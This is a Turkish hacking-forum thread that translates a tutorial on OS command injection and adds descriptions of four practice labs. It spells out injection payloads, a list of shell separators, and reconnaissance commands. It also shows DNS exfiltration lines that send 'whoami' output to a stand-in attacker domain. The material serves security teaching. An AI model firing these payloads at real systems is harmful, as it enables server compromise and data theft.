OS Komut Enjeksiyonu / OS Command Injection

Bu bölümde, OS komut enjeksiyonunun ne olduğunu açıklayacak, güvenlik açıklarının nasıl tespit edilebileceğini ve kötüye kullanılabileceğini anlatacağız. Ayrıca, farklı işletim sistemleri için bazı yararlı komutlar ve teknikler açıklayacak ve OS komut enjeksiyonunu nasıl önleyeceğimizi özetleyeceğiz.
Eğer OS komut enjeksiyonu güvenlik açıklarının temel kavramlarıyla zaten tanışıksanız ve gerçekçi, kasıtlı olarak savunmasız hedefler üzerinde bu açıkları kullanarak pratik yapmak isterseniz, bu konudaki tüm laboratuvarlara aşağıdaki bağlantıdan erişebilirsiniz.
Tüm OS komut enjeksiyonu laboratuvarlarını görüntüleyin

İşletim sistemi komut enjeksiyonu nedir?
OS komut enjeksiyonu (aynı zamanda shell enjeksiyonu olarak da bilinir), bir saldırganın bir uygulamayı çalıştıran sunucuda keyfi işletim sistemi (OS) komutlarını yürütebilmesini sağlayan bir güvenlik açığıdır ve genellikle uygulamayı ve tüm verilerini tamamen tehlikeye atar. Saldırgan sık sık bir OS komut enjeksiyonu açığını kullanarak barındırma altyapısının diğer bölümlerini tehlikeye atabilir ve saldırıyı kuruluşun içindeki diğer sistemlere yönlendirmek için güven ilişkilerinden yararlanabilir.

İsteğe bağlı komutları yürütme

Bir alışveriş uygulamasını düşünün; kullanıcının belirli bir mağazadaki bir ürünün stokta olup olmadığını görebildiği bir uygulama. Bu bilgi, aşağıdaki gibi bir URL üzerinden erişilebilir:
https://insecure-website.com/stockStatus?productID=381&storeID=29
Stok bilgisini sağlamak için uygulama, çeşitli eski sistemlere sorgu yapmalıdır. Tarihi nedenlerle, işlevsellik, ürün ve mağaza kimliklerini argüman olarak kullanarak bir shell komutunu çağırarak uygulanmıştır.
Kod:
stockreport.pl 381 29
Bu komut, belirtilen ürün için stok durumunu çıktı olarak verir ve kullanıcıya döndürür.
Uygulama, OS komut enjeksiyonuna karşı herhangi bir savunma uygulamadığı için, bir saldırgan aşağıdaki girişi göndererek keyfi bir komutu çalıştırabilir:
Kod:
& echo aiwefwlguh &
Bu giriş productID parametresine gönderilirse, uygulama tarafından çalıştırılan komut şu şekildedir:
Kod:
stockreport.pl & echo aiwefwlguh & 29
Echo komutu, bazı OS komut enjeksiyon türlerini test etmek için kullanışlı olan bir komuttur. & karakteri bir shell komutu ayırıcısıdır, bu nedenle gerçekte üç ayrı komut sırasıyla çalıştırılır. Sonuç olarak, kullanıcıya döndürülen çıktı şudur:
Kod:
Error - productID was not providedaiwefwlguh29: command not found
Üç satır çıktı aşağıdakileri göstermektedir:
  • Beklenen argümanları olmadan orijinal stockreport.pl komutu çalıştırıldı ve bir hata mesajı döndürüldü.
  • Enjekte edilen echo komutu çalıştırıldı ve sağlanan dize çıktıda yankılandı.
  • Orijinal 29 argümanı bir komut olarak çalıştırıldı ve bir hata oluşturdu.
Enjekte edilen komuttan sonra ek komut ayırıcısı & kullanmak genellikle faydalıdır çünkü enjekte edilen komutu enjeksiyon noktasından sonraki herhangi bir şeyden ayırır. Bu, takip eden şeyin enjekte edilen komutun çalışmasını engelleme olasılığını azaltır.

Yararlı Komutlar
Bir OS komut enjeksiyonu güvenlik açığı tespit ettiğinizde, genellikle etkilediğiniz sistem hakkında bilgi edinmek için bazı başlangıç komutlarını çalıştırmak faydalı olabilir. Aşağıda, Linux ve Windows platformlarında kullanışlı olan bazı komutların özeti bulunmaktadır:
Komut AmaçlarıLinuxWindows
Mevcut Kullanıcının Adıwhoamiwhoami
İşletim Sistemiuname -aver
Ağ Yapılandırmasıifconfigipconfig /all
Ağ Bağlantılarınetstat -annetstat -an
Çalışan Süreçlerps -eftasklist
Blind OS Komut Enjeksiyonu Güvenlik Açıkları
Çok sayıda OS komut enjeksiyonu örneği blind güvenlik açıklarıdır. Bu, uygulamanın komutun çıktısını HTTP yanıtı içinde döndürmediği anlamına gelir. Blind güvenlik açıkları hala sömürülebilir, ancak farklı teknikler gerektirir.

Bir web sitesini düşünün, kullanıcıların site hakkında geri bildirim göndermelerine izin veriyor. Kullanıcı e-posta adresini ve geri bildirim mesajını girer. Sunucu tarafındaki uygulama daha sonra geri bildirimi içeren bir e-posta oluşturur ve site yöneticisine gönderir. Bunun için sunucu, sunulan detaylarla birlikte posta programını çağırır. Örneğin:
Kod:
mail -s "This site is great" -aFrom:[email protected] [email protected]
"mail" komutunun çıktısı (varsa) uygulamanın yanıtlarında döndürülmediği için "echo" komutuyla bir saldırı yetersiz olacaktır. Bu durumda, bir güvenlik açığını tespit etmek ve sömürmek için çeşitli diğer teknikleri kullanabilirsiniz.
Zaman Gecikmelerini Kullanarak Blind OS Komut Enjeksiyonunu Tespit Etmek
Uygulamanın yanıt vermesi için zaman gecikmesi sağlayacak bir enjekte edilmiş komut kullanabilirsiniz. Komutun çalıştırıldığını, uygulamanın tepki verme süresine göre doğrulamanıza olanak tanır. Bunun için ping komutu etkili bir yol sağlar, çünkü ICMP paketlerinin gönderileceği sayıyı belirtebilir ve böylece komutun çalışması için geçen süreyi ölçebilirsiniz:
Kod:
& ping -c 10 127.0.0.1 &
Bu komut, uygulamanın yerel döngü ağ adaptörüne 10 saniye boyunca ping atmasına neden olacaktır.

Çıktıyı Yönlendirerek Blind OS Komut Enjeksiyonunu Kötüye Kullanma
Enjekte edilen komutun çıktısını, tarayıcı kullanarak alabileceğiniz web kökünde bir dosyaya yönlendirebilirsiniz. Örneğin, uygulama "/var/www/static" dosya sistemi konumundan statik kaynakları sunuyorsa, aşağıdaki girişi gönderebilirsiniz:
Kod:
& whoami > /var/www/static/whoami.txt &
">" karakteri, "whoami" komutunun çıktısını belirtilen dosyaya gönderir. Ardından tarayıcıyı kullanarak "https://vulnerable-website.com/whoami.txt" adresinden dosyayı alabilir ve enjekte edilen komutun çıktısını görüntüleyebilirsiniz.

Dışbant (OAST) Tekniklerini Kullanarak Blind OS Komut Enjeksiyonunu Kötüye Kullanma
OAST tekniklerini kullanarak, kontrol ettiğiniz bir sistemle dışbant ağ etkileşimi başlatacak bir enjekte edilmiş komut kullanabilirsiniz. Örneğin:
Kod:
& nslookup kgji2ohoyw.web-attacker.com &
Bu payload, belirtilen alan adı için DNS araması yapmak için nslookup komutunu kullanır. Saldırgan, belirtilen aramanın gerçekleştiğini izleyebilir ve böylece komutun başarıyla enjekte edildiğini tespit edebilir.
Dışbant kanalı, enjekte edilen komutların çıktısını dışarıya çıkarmak için kolay bir yol sağlar.
Kod:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
Bu, whoami komutunun sonucunu içeren bir DNS aramasıyla saldırganın alan adına neden olacaktır.
Kod:
wwwuser.kgji2ohoyw.web-attacker.com
OS Komutlarının Enjekte Edilmesi Yöntemleri
OS komut enjeksiyonu saldırıları için çeşitli kabuk meta karakterleri kullanılabilir.
Bir dizi karakter, komutların birbirine zincirlenerek çalışmasını sağlayan komut ayırıcıları olarak işlev görür. Aşağıdaki komut ayırıcıları hem Windows hem de Unix tabanlı sistemlerde çalışır:​
  • &
  • &&
  • |
  • ||
Aşağıdaki komut ayırıcıları yalnızca Unix tabanlı sistemlerde çalışır;
  • ;
  • Newline (0x0a or \n)
Unix tabanlı sistemlerde, enjekte edilen bir komutun orijinal komut içinde iç içe geçmiş şekilde çalıştırılması için backtick (`) veya dolar işareti ($) kullanabilirsiniz.
`enjekte edilen komut`
$(enjekte edilen komut)

Farklı kabuk meta karakterlerinin farklı davranışları olabilir ve bazı durumlarda çalışıp çalışmadığını, komut çıktısının içbant alınmasına izin verip vermediğini veya yalnızca kör saldırılar için kullanışlı olup olmadığını etkileyebilir.

Bazen, kontrol ettiğiniz giriş orijinal komutta tırnak işaretleri içinde görünür. Bu durumda, yeni bir komut enjekte etmek için uygun kabuk meta karakterlerini kullanmadan önce tırnak içindeki bağlamı sonlandırmanız gerekmektedir (" veya ' kullanarak).

İşletim Sistemi Komut Enjeksiyon Saldırıları Nasıl Önlenir?
OS komut enjeksiyonu güvenlik açıklarını önlemenin en etkili yolu, uygulama katmanı kodundan asla işletim sistemi komutları çağırmamaktır. Hemen hemen her durumda, gerekli işlevselliği daha güvenli platform API'leri kullanarak alternatif şekillerde uygulamak mümkündür.
Eğer kullanıcı tarafından sağlanan girişlerle işletim sistemi komutlarını çağırmak kaçınılmaz olarak değerlendiriliyorsa, güçlü giriş doğrulaması yapılmalıdır. Etkili doğrulama yöntemlerinden bazıları şunlardır:
  • İzin verilen değerlerin beyaz listesine karşı doğrulama yapmak.
  • Girişin bir sayı olduğunu doğrulamak.
  • Girişin yalnızca alfanumerik karakterler içerdiğini, başka bir sözdizimi veya boşluk olmadığını doğrulamak.
  • Girişi kabuk meta karakterlerini kaçırarak temizlemeye çalışmamak. Uygulamada bu, hata yapma olasılığı çok yüksek olan ve becerikli bir saldırgan tarafından atlatılabilen bir yöntemdir.
Bu önlemleri uygulayarak OS komut enjeksiyonu güvenlik açıklarını etkin bir şekilde önleyebilirsiniz.

Orijinal:
 
Moderatör tarafında düzenlendi:

Ares

Üye
1 Eyl 2006
85
337
Konuyu foruma taşımadan önce başlığı

OS Komut Enjeksiyonu / Command Injection şeklinde düzeltelim. Başlıkta hem Türkçe hem ingilizce olsun.
 
Lab 1: OS Komut Enjeksiyonu, Basit Bir Durum
Bu lab, ürün stok kontrolünde bir OS komut enjeksiyonu güvenlik açığı içermektedir.

Uygulama, kullanıcı tarafından sağlanan ürün ve mağaza kimliklerini içeren bir kabuk komutunu yürütür ve komutun ham çıktısını yanıtında döndürür.

Lab'ı çözmek için whoami komutunu çalıştırarak mevcut kullanıcının adını belirleyin.

Lab Linki:
 
Lab 2: Zaman Gecikmeleri İle Blind OS Komut Enjeksiyonu
Bu lab, geri bildirim işlevinde bir Blind OS komut enjeksiyonu güvenlik açığı içermektedir.
Uygulama, kullanıcı tarafından sağlanan detayları içeren bir kabuk komutunu çalıştırır. Komutun çıktısı yanıtta döndürülmez.
Lab'ı çözmek için, Blind OS komut enjeksiyonu güvenlik açığından yararlanarak 10 saniyelik bir gecikme oluşturun.

Lab Link;
 
Lab 3: Çıktı Yönlendirmesi İle Blind OS Komut Enjeksiyonu

Bu lab, geri bildirim işlevinde kör bir OS komut enjeksiyonu güvenlik açığı içermektedir.

Uygulama, kullanıcı tarafından sağlanan ayrıntıları içeren bir kabuk komutunu çalıştırır. Komutun çıktısı yanıtta döndürülmez. Bununla birlikte, çıktıyı yakalamak için çıktı yönlendirmesini kullanabilirsiniz. Aşağıda yazılabilir bir klasör bulunmaktadır:

/var/www/images/

Uygulama, ürün kataloğunun görüntülerini bu konumdan sunar. Enjekte edilen komutun çıktısını bu klasöre bir dosyaya yönlendirebilir ve ardından görüntü yükleme URL'sini kullanarak dosyanın içeriğini alabilirsiniz.

Lab'ı çözmek için whoami komutunu çalıştırın ve çıktıyı alın.

Lab Link; Lab: Blind OS command injection with output redirection | Web Security Academy
 
Lab 4: Dışbant Etkileşimli Blind OS Komut Enjeksiyonu

Bu lab, geri bildirim işlevinde bir Blind OS komut enjeksiyonu güvenlik açığı içermektedir.

Uygulama, kullanıcı tarafından sağlanan ayrıntıları içeren bir kabuk komutunu çalıştırır. Komut asenkron olarak çalıştırılır ve uygulamanın yanıtı üzerinde herhangi bir etkisi yoktur. Erişebileceğiniz bir konuma çıktıyı yönlendirmek mümkün değildir. Ancak, harici bir alanla dışbant etkileşimlerini tetikleyebilirsiniz.

Lab'ı çözmek için, Blind OS komut enjeksiyonu güvenlik açığını kullanarak Burp Collaborator'a DNS araması yapmak için kullanın.

NOT:
Academy platformunun üçüncü taraflara saldırı için kullanılmasını engellemek için güvenlik duvarımız, lab'lar ile keyfi harici sistemler arasındaki etkileşimleri engeller. Lab'ı çözmek için, Burp Collaborator'ın varsayılan genel sunucusunu kullanmanız gerekmektedir.


Lab Link;
 
Son düzenleme:
Lab 4: Dışbant Veri Çalma İle Blind OS Komut Enjeksiyonu
Bu lab, geri bildirim işlevinde kör bir OS komut enjeksiyonu güvenlik açığı içermektedir.
Uygulama, kullanıcı tarafından sağlanan ayrıntıları içeren bir kabuk komutunu asenkron olarak çalıştırır ve uygulamanın yanıtı üzerinde herhangi bir etkisi yoktur. Erişebileceğiniz bir konuma çıktıyı yönlendirmek mümkün değildir. Ancak, harici bir alanla dışbant etkileşimlerini tetikleyebilirsiniz.
Lab'ı çözmek için, "whoami" komutunu çalıştırın ve çıktıyı Burp Collaborator'a DNS sorgusu yoluyla çalın. Lab'ı tamamlamak için mevcut kullanıcının adını girmeniz gerekecektir.

NOT: Academy platformunun üçüncü taraflara saldırı için kullanılmasını engellemek için güvenlik duvarımız, lab'lar ile keyfi harici sistemler arasındaki etkileşimleri engeller. Lab'ı çözmek için, Burp Collaborator'ın varsayılan genel sunucusunu kullanmanız gerekmektedir.

Lab Link;
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.